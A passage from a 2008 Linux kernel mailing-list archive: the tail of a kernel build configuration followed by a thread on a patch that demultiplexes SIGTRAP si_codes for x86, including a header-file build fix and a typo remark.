CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
CONFIG_SLUB_DEBUG_ON=y
CONFIG_SLUB_STATS=y
# CONFIG_DEBUG_RT_MUTEXES is not set
CONFIG_RT_MUTEX_TESTER=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_LOCK_ALLOC=y
# CONFIG_PROVE_LOCKING is not set
CONFIG_LOCKDEP=y
CONFIG_LOCK_STAT=y
# CONFIG_DEBUG_LOCKDEP is not set
CONFIG_DEBUG_SPINLOCK_SLEEP=y
CONFIG_DEBUG_LOCKING_API_SELFTESTS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_VIRTUAL is not set
CONFIG_DEBUG_WRITECOUNT=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_LIST=y
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
CONFIG_FRAME_POINTER=y
# CONFIG_BOOT_PRINTK_DELAY is not set
CONFIG_RCU_TORTURE_TEST=y
CONFIG_RCU_TORTURE_TEST_RUNNABLE=y
CONFIG_RCU_CPU_STALL=y
CONFIG_BACKTRACE_SELF_TEST=y
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
CONFIG_NOP_TRACER=y
CONFIG_HAVE_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y
CONFIG_TRACER_MAX_TRACE=y
CONFIG_TRACING=y
CONFIG_FTRACE=y
# CONFIG_IRQSOFF_TRACER is not set
# CONFIG_SYSPROF_TRACER is not set
CONFIG_SCHED_TRACER=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_BOOT_TRACER=y
# CONFIG_STACK_TRACER is not set
# CONFIG_DYNAMIC_FTRACE is not set
CONFIG_FTRACE_SELFTEST=y
CONFIG_FTRACE_STARTUP_TEST=y
CONFIG_PROVIDE_OHCI1394_DMA_INIT=y
CONFIG_BUILD_DOCSRC=y
CONFIG_SAMPLES=y
CONFIG_SAMPLE_KOBJECT=y
CONFIG_HAVE_ARCH_KGDB=y
# CONFIG_STRICT_DEVMEM is not set
# CONFIG_X86_VERBOSE_BOOTUP is not set
CONFIG_EARLY_PRINTK=y
CONFIG_EARLY_PRINTK_DBGP=y
# CONFIG_DEBUG_STACKOVERFLOW is not set
CONFIG_DEBUG_STACK_USAGE=y
CONFIG_DEBUG_PAGEALLOC=y
CONFIG_DEBUG_PER_CPU_MAPS=y
CONFIG_X86_PTDUMP=y
CONFIG_DEBUG_RODATA=y
CONFIG_DEBUG_RODATA_TEST=y
CONFIG_IOMMU_DEBUG=y
# CONFIG_IOMMU_LEAK is not set
CONFIG_MMIOTRACE_HOOKS=y
CONFIG_MMIOTRACE=y
CONFIG_IO_DELAY_TYPE_0X80=0
CONFIG_IO_DELAY_TYPE_0XED=1
CONFIG_IO_DELAY_TYPE_UDELAY=2
CONFIG_IO_DELAY_TYPE_NONE=3
CONFIG_IO_DELAY_0X80=y
# CONFIG_IO_DELAY_0XED is not set
# CONFIG_IO_DELAY_UDELAY is not set
# CONFIG_IO_DELAY_NONE is not set
CONFIG_DEFAULT_IO_DELAY_TYPE=0
CONFIG_DEBUG_BOOT_PARAMS=y
CONFIG_CPA_DEBUG=y
CONFIG_OPTIMIZE_INLINING=y

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
# CONFIG_SECURITY is not set
CONFIG_SECURITY_FILE_CAPABILITIES=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_NULL=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=y

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
CONFIG_CRYPTO_SEQIV=y

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
CONFIG_CRYPTO_CTS=y
CONFIG_CRYPTO_ECB=y
# CONFIG_CRYPTO_PCBC is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
CONFIG_CRYPTO_MD4=y
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=y
CONFIG_CRYPTO_RMD128=y
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
CONFIG_CRYPTO_RMD320=y
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
# CONFIG_CRYPTO_TGR192 is not set
CONFIG_CRYPTO_WP512=y

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_AES_X86_64=y
CONFIG_CRYPTO_ANUBIS=y
CONFIG_CRYPTO_ARC4=y
# CONFIG_CRYPTO_BLOWFISH is not set
CONFIG_CRYPTO_CAMELLIA=y
CONFIG_CRYPTO_CAST5=y
CONFIG_CRYPTO_CAST6=y
CONFIG_CRYPTO_DES=y
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_KHAZAD=y
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=y
CONFIG_CRYPTO_TEA=y
CONFIG_CRYPTO_TWOFISH=y
CONFIG_CRYPTO_TWOFISH_COMMON=y
CONFIG_CRYPTO_TWOFISH_X86_64=y

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
# CONFIG_CRYPTO_LZO is not set
CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_HIFN_795X=y
# CONFIG_CRYPTO_DEV_HIFN_795X_RNG is not set
CONFIG_HAVE_KVM=y
CONFIG_VIRTUALIZATION=y
CONFIG_KVM=y
CONFIG_KVM_INTEL=y
CONFIG_KVM_AMD=y
# CONFIG_KVM_TRACE is not set
# CONFIG_VIRTIO_BALLOON is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_FIRST_BIT=y
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_CRC_CCITT=y
CONFIG_CRC16=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC32=y
CONFIG_CRC7=y
CONFIG_LIBCRC32C=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CHECK_SIGNATURE=y
CONFIG_FORCE_SUCCESSFUL_BUILD=y

--17pEHd4RhPHOinZp--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Srinivasa Ds <srinivasa@in.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal -v2
Date: Tue, 23 Sep 2008 19:55:01 +0530
Organization: IBM
Lines: 217
Approved: news@gmane.org
Message-ID: <200809231955.01564.srinivasa@in.ibm.com>
References: <200809221602.32616.srinivasa@in.ibm.com> <20080923112812.GL29021@elte.hu> <20080923113001.GA12531@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1222179954 4668 80.91.229.12 (23 Sep 2008 14:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2008 14:25:54 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 16:26:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ki8qS-0005O8-3h
	for glpp-linux-parisc@gmane.org; Tue, 23 Sep 2008 16:26:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751535AbYIWOZW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2008 10:25:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751862AbYIWOZW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Sep 2008 10:25:22 -0400
Original-Received: from e28smtp07.in.ibm.com ([59.145.155.7]:46966 "EHLO
	e28esmtp07.in.ibm.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751535AbYIWOZU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2008 10:25:20 -0400
Original-Received: from d28relay04.in.ibm.com (d28relay04.in.ibm.com [9.184.220.61])
	by e28esmtp07.in.ibm.com (8.13.1/8.13.1) with ESMTP id m8NEOojx010191;
	Tue, 23 Sep 2008 19:54:50 +0530
Original-Received: from d28av05.in.ibm.com (d28av05.in.ibm.com [9.184.220.67])
	by d28relay04.in.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id m8NEOox21708238;
	Tue, 23 Sep 2008 19:54:50 +0530
Original-Received: from d28av05.in.ibm.com (loopback [127.0.0.1])
	by d28av05.in.ibm.com (8.13.1/8.13.3) with ESMTP id m8NEOmp4014898;
	Wed, 24 Sep 2008 00:24:49 +1000
Original-Received: from srinivasa-009124031087.in.ibm.com (Srinivasa-009124031087.in.ibm.com [9.124.31.87] (may be forged))
	by d28av05.in.ibm.com (8.13.1/8.12.11) with ESMTP id m8NEOml5013950;
	Wed, 24 Sep 2008 00:24:48 +1000
User-Agent: KMail/1.9.9
In-Reply-To: <20080923113001.GA12531@elte.hu>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:796 gmane.linux.kernel:736109 gmane.linux.ports.ppc64.devel:47058
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/796>

On Tuesday 23 September 2008 17:00:01 Ingo Molnar wrote:

> > applied to [the new topic] tip/core/signal, thanks Srinivasa! There
> > are some other pending x86 signal changes already, so i based
> > tip/core/signal on tip/x86/signal.
>
> -tip testing found the following build error with the attached config:
>

Ingo, Reproduced build break issue with your config on tip tree. It was a costly overlook 
to miss one header file. I included it in this patch and tested it out.


Currently a SIGTRAP can denote any one of below reasons.
	- Breakpoint hit
	- H/W debug register hit
	- Single step
	- Signal sent through kill() or rasie()

Architectures like powerpc/parisc provides infrastructure to demultiplex
SIGTRAP signal by passing down the information for receiving SIGTRAP through
si_code of siginfot_t structure. Here is an attempt is generalise this 
infrastructure by extending it to x86 and x86_64 archs. 

Signed-off-by: Srinivasa DS <srinivasa@in.ibm.com>


---
 arch/ia64/include/asm/siginfo.h    |    5 -----
 arch/powerpc/include/asm/siginfo.h |    5 -----
 arch/x86/kernel/ptrace.c           |    7 ++++---
 arch/x86/kernel/traps_32.c         |    4 +++-
 arch/x86/kernel/traps_64.c         |    2 +-
 include/asm-generic/siginfo.h      |    2 ++
 include/asm-parisc/siginfo.h       |    5 -----
 include/asm-x86/ptrace.h           |    2 +-
 include/asm-x86/traps.h            |   12 ++++++++++++
 9 files changed, 23 insertions(+), 21 deletions(-)

Index: linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/ia64/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/ia64/include/asm/siginfo.h
@@ -113,11 +113,6 @@ typedef struct siginfo {
 #undef NSIGSEGV
 #define NSIGSEGV	3
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/arch/powerpc/include/asm/siginfo.h
+++ linux-2.6.27-rc7/arch/powerpc/include/asm/siginfo.h
@@ -15,11 +15,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_32.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_32.c
@@ -891,6 +891,7 @@ void __kprobes do_debug(struct pt_regs *
 {
 	struct task_struct *tsk = current;
 	unsigned int condition;
+	int si_code;
 
 	trace_hardirqs_fixup();
 
@@ -935,8 +936,9 @@ void __kprobes do_debug(struct pt_regs *
 			goto clear_TF_reenable;
 	}
 
+	si_code = get_si_code((unsigned long)condition);
 	/* Ok, finally something we can handle */
-	send_sigtrap(tsk, regs, error_code);
+	send_sigtrap(tsk, regs, error_code, si_code);
 
 	/*
 	 * Disable additional traps. They'll be re-enabled when
Index: linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/traps_64.c
+++ linux-2.6.27-rc7/arch/x86/kernel/traps_64.c
@@ -936,7 +936,7 @@ asmlinkage void __kprobes do_debug(struc
 	tsk->thread.error_code = error_code;
 	info.si_signo = SIGTRAP;
 	info.si_errno = 0;
-	info.si_code = TRAP_BRKPT;
+	info.si_code = get_si_code(condition);
 	info.si_addr = user_mode(regs) ? (void __user *)regs->ip : NULL;
 	force_sig_info(SIGTRAP, &info, tsk);
 
Index: linux-2.6.27-rc7/include/asm-generic/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-generic/siginfo.h
+++ linux-2.6.27-rc7/include/asm-generic/siginfo.h
@@ -199,6 +199,8 @@ typedef struct siginfo {
  */
 #define TRAP_BRKPT	(__SI_FAULT|1)	/* process breakpoint */
 #define TRAP_TRACE	(__SI_FAULT|2)	/* process trace trap */
+#define TRAP_BRANCH     (__SI_FAULT|3)  /* process taken branch trap */
+#define TRAP_HWBKPT     (__SI_FAULT|4)  /* hardware breakpoint/watchpoint */
 #define NSIGTRAP	2
 
 /*
Index: linux-2.6.27-rc7/include/asm-parisc/siginfo.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-parisc/siginfo.h
+++ linux-2.6.27-rc7/include/asm-parisc/siginfo.h
@@ -3,11 +3,6 @@
 
 #include <asm-generic/siginfo.h>
 
-/*
- * SIGTRAP si_codes
- */
-#define TRAP_BRANCH	(__SI_FAULT|3)	/* process taken branch trap */
-#define TRAP_HWBKPT	(__SI_FAULT|4)	/* hardware breakpoint or watchpoint */
 #undef NSIGTRAP
 #define NSIGTRAP	4
 
Index: linux-2.6.27-rc7/arch/x86/kernel/ptrace.c
===================================================================
--- linux-2.6.27-rc7.orig/arch/x86/kernel/ptrace.c
+++ linux-2.6.27-rc7/arch/x86/kernel/ptrace.c
@@ -1357,7 +1357,8 @@ const struct user_regset_view *task_user
 #endif
 }
 
-void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, int error_code)
+void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs,
+					 int error_code, int si_code)
 {
 	struct siginfo info;
 
@@ -1366,7 +1367,7 @@ void send_sigtrap(struct task_struct *ts
 
 	memset(&info, 0, sizeof(info));
 	info.si_signo = SIGTRAP;
-	info.si_code = TRAP_BRKPT;
+	info.si_code = si_code;
 
 	/* User-mode ip? */
 	info.si_addr = user_mode_vm(regs) ? (void __user *) regs->ip : NULL;
@@ -1476,5 +1477,5 @@ asmregparm void syscall_trace_leave(stru
 	 */
 	if (test_thread_flag(TIF_SINGLESTEP) &&
 	    (current->ptrace & PT_PTRACED))
-		send_sigtrap(current, regs, 0);
+		send_sigtrap(current, regs, 0, TRAP_BRKPT);
 }
Index: linux-2.6.27-rc7/include/asm-x86/traps.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-x86/traps.h
+++ linux-2.6.27-rc7/include/asm-x86/traps.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_X86_TRAPS_H
 #define _ASM_X86_TRAPS_H
 
+#include <asm/debugreg.h>
+
 /* Common in X86_32 and X86_64 */
 asmlinkage void divide_error(void);
 asmlinkage void debug(void);
@@ -36,6 +38,16 @@ void do_invalid_op(struct pt_regs *, lon
 void do_general_protection(struct pt_regs *, long);
 void do_nmi(struct pt_regs *, long);
 
+static inline int get_si_code(unsigned long condition)
+{
+	if (condition & DR_STEP)
+		return TRAP_TRACE;
+	else if (condition & (DR_TRAP0|DR_TRAP1|DR_TRAP2|DR_TRAP3))
+		return TRAP_HWBKPT;
+	else
+		return TRAP_BRKPT;
+}
+
 extern int panic_on_unrecovered_nmi;
 extern int kstack_depth_to_print;
 
Index: linux-2.6.27-rc7/include/asm-x86/ptrace.h
===================================================================
--- linux-2.6.27-rc7.orig/include/asm-x86/ptrace.h
+++ linux-2.6.27-rc7/include/asm-x86/ptrace.h
@@ -143,7 +143,7 @@ convert_ip_to_linear(struct task_struct 
 
 #ifdef CONFIG_X86_32
 extern void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs,
-			 int error_code);
+			 int error_code, int si_code);
 #else
 void signal_fault(struct pt_regs *regs, void __user *frame, char *where);
 #endif



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal -v2
Date: Tue, 23 Sep 2008 16:31:20 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20080923143120.GD14041@elte.hu>
References: <200809221602.32616.srinivasa@in.ibm.com> <20080923112812.GL29021@elte.hu> <20080923113001.GA12531@elte.hu> <200809231955.01564.srinivasa@in.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222180355 6281 80.91.229.12 (23 Sep 2008 14:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2008 14:32:35 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Srinivasa Ds <srinivasa@in.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 16:33:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ki8wz-00088x-Fg
	for glpp-linux-parisc@gmane.org; Tue, 23 Sep 2008 16:33:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751196AbYIWOcI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2008 10:32:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751468AbYIWOcI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Sep 2008 10:32:08 -0400
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:40471 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750974AbYIWOcF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2008 10:32:05 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1Ki8vB-0005xW-Th
	from <mingo@elte.hu>; Tue, 23 Sep 2008 16:31:31 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id A1E9F3E219B; Tue, 23 Sep 2008 16:31:21 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <200809231955.01564.srinivasa@in.ibm.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:797 gmane.linux.kernel:736111 gmane.linux.ports.ppc64.devel:47061
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/797>


* Srinivasa Ds <srinivasa@in.ibm.com> wrote:

> > -tip testing found the following build error with the attached 
> > config:
> 
> Ingo, Reproduced build break issue with your config on tip tree. It 
> was a costly overlook to miss one header file. I included it in this 
> patch and tested it out.

thanks - applied the delta fix below to tip/core/signal.

	Ingo

--------------->
>From e8d3f455de4f42d4bab2f6f1aeb2cf3bd18eb508 Mon Sep 17 00:00:00 2001
From: Srinivasa Ds <srinivasa@in.ibm.com>
Date: Tue, 23 Sep 2008 15:23:52 +0530
Subject: [PATCH] signals: demultiplexing SIGTRAP signal, fix

fix build breakage, missing header file.

Signed-off-by: Srinivasa DS <srinivasa@in.ibm.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
---
 include/asm-x86/traps.h |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/include/asm-x86/traps.h b/include/asm-x86/traps.h
index 4b1e904..7a692ba 100644
--- a/include/asm-x86/traps.h
+++ b/include/asm-x86/traps.h
@@ -1,6 +1,8 @@
 #ifndef ASM_X86__TRAPS_H
 #define ASM_X86__TRAPS_H
 
+#include <asm/debugreg.h>
+
 /* Common in X86_32 and X86_64 */
 asmlinkage void divide_error(void);
 asmlinkage void debug(void);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gabriel Paubert <paubert@iram.es>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal -v2
Date: Tue, 23 Sep 2008 17:53:58 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20080923155358.GA15776@iram.es>
References: <200809221602.32616.srinivasa@in.ibm.com> <20080923112812.GL29021@elte.hu> <20080923113001.GA12531@elte.hu> <200809231955.01564.srinivasa@in.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1222186995 31532 80.91.229.12 (23 Sep 2008 16:23:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2008 16:23:15 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	paulus@samba.org, "H. Peter Anvin" <hpa@zytor.com>,
	akpm@linux-foundation.org, Thomas Gleixner <tglx@linutronix.de>,
	Roland McGrath <roland@redhat.com>
To: Srinivasa Ds <srinivasa@in.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 18:24:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KiAgF-0001GE-C0
	for glpp-linux-parisc@gmane.org; Tue, 23 Sep 2008 18:24:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751588AbYIWQW6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2008 12:22:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752000AbYIWQW6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Sep 2008 12:22:58 -0400
Original-Received: from gra-lx1.iram.es ([150.214.224.41]:36333 "EHLO gra-lx1.iram.es"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751588AbYIWQW5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2008 12:22:57 -0400
X-Greylist: delayed 1722 seconds by postgrey-1.27 at vger.kernel.org; Tue, 23 Sep 2008 12:22:57 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by gra-lx1.iram.es (Postfix) with ESMTP id 79C2A184133;
	Tue, 23 Sep 2008 17:54:09 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at iram.es
Original-Received: from gra-lx1.iram.es ([127.0.0.1])
	by localhost (gra-lx1.iram.es [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cznC7oAx-kFh; Tue, 23 Sep 2008 17:54:06 +0200 (CEST)
Original-Received: from gra-vd1.iram.es (gra-vd1.iram.es [150.214.224.250])
	by gra-lx1.iram.es (Postfix) with ESMTP id 809FC184193;
	Tue, 23 Sep 2008 17:54:06 +0200 (CEST)
Original-Received: from gra-vd1.iram.es (localhost [127.0.0.1])
	by gra-vd1.iram.es (8.13.8/8.13.8/Debian-3) with ESMTP id m8NFs6Qx015896;
	Tue, 23 Sep 2008 17:54:06 +0200
Original-Received: (from paubert@localhost)
	by gra-vd1.iram.es (8.13.8/8.13.8/Submit) id m8NFrwSr015895;
	Tue, 23 Sep 2008 17:53:58 +0200
Content-Disposition: inline
In-Reply-To: <200809231955.01564.srinivasa@in.ibm.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:798 gmane.linux.kernel:736142 gmane.linux.ports.ppc64.devel:47078
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/798>

On Tue, Sep 23, 2008 at 07:55:01PM +0530, Srinivasa Ds wrote:
> On Tuesday 23 September 2008 17:00:01 Ingo Molnar wrote:
> 
> > > applied to [the new topic] tip/core/signal, thanks Srinivasa! There
> > > are some other pending x86 signal changes already, so i based
> > > tip/core/signal on tip/x86/signal.
> >
> > -tip testing found the following build error with the attached config:
> >
> 
> Ingo, Reproduced build break issue with your config on tip tree. It was a costly overlook 
> to miss one header file. I included it in this patch and tested it out.
> 
> 
> Currently a SIGTRAP can denote any one of below reasons.
> 	- Breakpoint hit
> 	- H/W debug register hit
> 	- Single step
> 	- Signal sent through kill() or rasie()

Typo: s/rasie/raise/

No strong opinion about the patch, but more info is usually better.

	Regards,
	Gabriel
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
